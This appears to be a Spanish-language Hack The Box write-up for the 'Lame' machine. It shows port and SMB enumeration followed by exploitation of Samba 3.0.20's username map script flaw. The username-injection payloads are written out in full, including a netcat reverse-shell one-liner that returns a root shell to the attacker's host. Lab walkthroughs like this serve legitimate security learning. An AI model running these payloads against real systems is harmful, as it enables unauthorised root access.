

15-jun.-23



## Maquina Lame – Hack The Box

15-jun.-23

## Topics

- Samba version 3.0.20 Execution of commands through authentication (administrator user)

## Enumeración y reconocimiento

Iniciamos verificando conectividad con el host destino

\$ping -c 1 10.10.10.3

```
> ping -c 1 10.10.10.3
PING 10.10.10.3 (10.10.10.3) 56(84) bytes of data.
64 bytes from 10.10.10.3: icmp_seq=1 ttl=63 time=103 ms

--- 10.10.10.3 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 102.869/102.869/102.869/0.000 ms
```

Iniciare con el escaneo de puertos con NMAP

\$nmap -p- --open -sCV -n -vvvvvvvvvvvvvvvvvvvvvvvv --min-rate 5000 -oN Ports 10.10.10.3

```
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE        REASON          VERSION
21/tcp    open  ftp            syn-ack ttl 63 vsftpd 2.3.4
|_ftp anon: Anonymous FTP login allowed (FTP code 230)
|_ftp syst:
|_STAT:
|_FTP server status:
|_   Connected to 10.10.16.14
|_   Logged in as ftp
|_   TYPE: ASCII
|_   No session bandwidth limit
|_   Session timeout in seconds is 300
|_   Control connection is plain text
|_   Data connections will be plain text
|_   vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh            syn-ack ttl 63 OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|_   1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_ssh-dss AAAAB3NzaC1kc3MAAACBALz4hsc8a2Sr94nlW960qV8xwBG0JC+jI7fWxm5METIJH4tKr/xUTwsTYEYnaZL
|_Ka0JwSIXSUajnU5oWmY5x85sBw+XDAAAQFQDFkMpmDFQTF+oRqaoSNVU7Z+hjSwAAAIBCQxNKzi1TyP+QJIFa3M0oLqCV
|_o8lX3Ptw+Y4dp0LzfWHwZ/jzHwtuaDQaok7u1f971lEazeJLqfiWrAzoklqSWyDQJAAAAIA1LAD3xWYkeIeHv/R3P9i+X
|_NKjIEd3gH6oBk/YRnjzxLEAYBsvCmM4a0jmhz0oNiRWlc/F+bkUeFKrBx/D2fdfZmhrGg==
|_   2048 5656240f211ddea72bae61b1243de8f3 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAstqnuFMB0Zv03WTEjP4TUdjgWkIVNdTq6kboEDjte0fc65TLI7sRvQE
|_nbRRpmkJcVgETJ5WhK0bUNf1AKZw++4Xlc63M4KI5cgvMMIPEV0yR3AKmI78Fo3HJjYucg87JjLeC66I7+dLEYX6zT8i1
|_0u0EfkJrqt21Xbhw150grFib0wfe5cnQew==
139/tcp   open  netbios-ssn   syn-ack ttl 63 Samba smbdc 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn   syn-ack ttl 63 Samba smbdc 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp  open  distccd       syn-ack ttl 63 distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Tenemos 21/tcp 22/tcp 139/tcp 445/tcp 3632/tcp

Intentando listar recursos por el puerto 21 FTP, no logro obtener algún recurso que me estén compartiendo.

15-jun.-23

```
> ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPD 2.3.4)
Name (10.10.10.3:raptor): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x  2 0          65534      4096 Mar 17  2010 .
drwxr-xr-x  2 0          65534      4096 Mar 17  2010 ..
226 Directory send OK.          sin resultados
ftp>
```

Realizaremos un reconocimiento por SMB con la herramienta smbclient tratando de listar recursos compartidos a nivel de red

```
> smbclient -L 10.10.10.3 -N
protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED
```

No da un error al intentar acceder a recursos por lo cual buscaremos ese problema en la web y veamos que encontramos.

<https://askubuntu.com/questions/1318311/samba-accessing-lan-shared-folders-troubleshooting>

1 respuesta Ordenado por: Puntaje más alto (predeterminado) ▾

0 La solución fue agregar `--option='client min protocol=NT1'`:

```
smbclient //192.168.0.254/My\ Book -A ~/.boxcredentials --option='client min proto
```

como se explica aquí: <https://forum.hackthebox.eu/discussion/2848/have-smb-enum-issues-read-this>.

15-jun.-23

Por la descripción vamos a utilizar la bandera `--option='client min protocol=NT1'`

```
> smbclient -L 10.10.10.3 -N --option='client min protocol=NT1'
Anonymous login successful

  Sharename      Type      Comment
  -----
  print$         Disk     Printer Drivers
  tmp            Disk     oh noes!
  opt           Disk
  IPC$          IPC      IPC Service (lame server (Samba 3.0.20-Debian))
  ADMIN$       IPC      IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

  Server      Comment
  -----
  Workgroup   Master
  WORKGROUP   LAME
```

version de samba vuln

Veo que existe una versión de samba 3.0.20 por lo cual vere antes de listar recursos si existe alguna Vuln para esta versión.

```
> searchsploit samba 3.0.20
-----
Exploit Title
-----
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)
Samba < 3.0.20 - Remote Heap Overflow
Samba < 3.6.2 (x86) - Denial of Service (PoC)
-----
```

Veo que existe una de metasploit command execution

Vamos a echarle un ojo

```
def exploit
  connect

  # lol?
  username = "/= `nohup` " + payload.encoded + "`"
  begin
    simple.client.negotiate(false)
    simple.client.session_setup_ntlmv1(username, rand_text(16), datastore['SMBDomain'], false)
  rescue ::Timeout::Error, XCEPT::LoginError
    # nothing, it either worked or it didn't ; )
  end
  handler
end
```

Este módulo explota una vulnerabilidad de ejecución de comandos en Samba versiones 3.0.20 a 3.0.25rc3 cuando se usa el no predeterminado Opción de configuración "script de mapa de nombre de usuario". Especificando un nombre de usuario que contienen metacaracteres de shell, los atacantes pueden ejecutar arbitrariamente comandos.

Ahora que sabemos un poco acerca de como es que un atacante obtiene ejecución remota de comandos, vamos a la prueba de concepto

15-jun.-23

## Explotación

Primero intentaremos autenticarnos con smbclient

```
> smbclient //10.10.10.3/tmp -N --option='client min protocol=NT1'
Anonymous login successful ←
Try "help" to get a list of possible commands. ok
smb: \> ls -l
NT_STATUS_NO_SUCH_FILE listing \-l
smb: \> ls
.                D            0   Wed Jun 14 23:37:14 2023
..               DR            0   Sat Oct 31 00:33:58 2020
.ICE-unix        DH            0   Wed Jun 14 19:22:59 2023
vmware-root     DR            0   Wed Jun 14 19:23:22 2023
.X11-unix        DH            0   Wed Jun 14 19:23:24 2023
.X0-lock         HR            11  Wed Jun 14 19:23:24 2023
5563.jsvc_up     R            0   Wed Jun 14 19:24:01 2023
vgauthsvclog.txt R           1600 Wed Jun 14 19:22:58 2023

                          7282168 blocks of size 1024. 5386268 blocks available
smb: \>
```

Ahora realizaremos la autenticación con el comando logon y le pasaremos los metacaracteres como usuario y después el payload que va a ser nuestro comando, primero vere si recibo una traza icmp mandada a un servidor que me montare con python3

```
smb: \> logon "/=\`nohup ping -c 1 10.10.16.14 \`"
Password:
session setup failed: NT_STATUS_LOGON_FAILURE
smb: \>
```

payload (command)

```
> tcpdump -i tun0 icmp -v -n
tcpdump: listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
23:42:57.218460 IP (tos 0x0, ttl 63, id 0, offset 0, flags [DF], proto ICMP (1), length 84)
 10.10.10.3 > 10.10.16.14: ICMP echo request, id 39193, seq 1, length 64
23:42:57.218477 IP (tos 0x0, ttl 64, id 31559, offset 0, flags [none], proto ICMP (1), length 84)
 10.10.16.14 > 10.10.10.3: ICMP echo reply, id 39193, seq 1, length 64
```

PAQUETE

Sabiendo que tengo la capacidad de ejecución remota de comandos, me entablare una reverse shell y ganare acceso a la máquina.

Raptor-Attack

15-jun.-23

Con nc me pondré en escucha por el puerto 4444 y me mandare una shell a mi maquina de atacante.

```
smb: \> logon "/=`nohup nc -e /bin/bash 10.10.16.14 4444 `"  
Password:  
  
> nc -nlvp 4444  
listening on [any] 4444 ...  
connect to [10.10.16.14] from (UNKNOWN) [10.10.10.3] 47260  
whoami  
root  
ip a  
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue  
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
inet 127.0.0.1/8 scope host lo  
inet6 ::1/128 scope host  
valid_lft forever preferred_lft forever  
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000  
link/ether 00:50:56:b0:ee:50 brd ff:ff:ff:ff:ff:ff  
inet 10.10.10.3/24 brd 10.10.10.255 scope global eth0  
inet6 dead:beef::250:56ff:feb9:ee50/64 scope global dynamic  
valid_lft 86400sec preferred_lft 14400sec  
inet6 fe80::250:56ff:feb9:ee50/64 scope link  
valid_lft forever preferred_lft forever
```

**PWNED**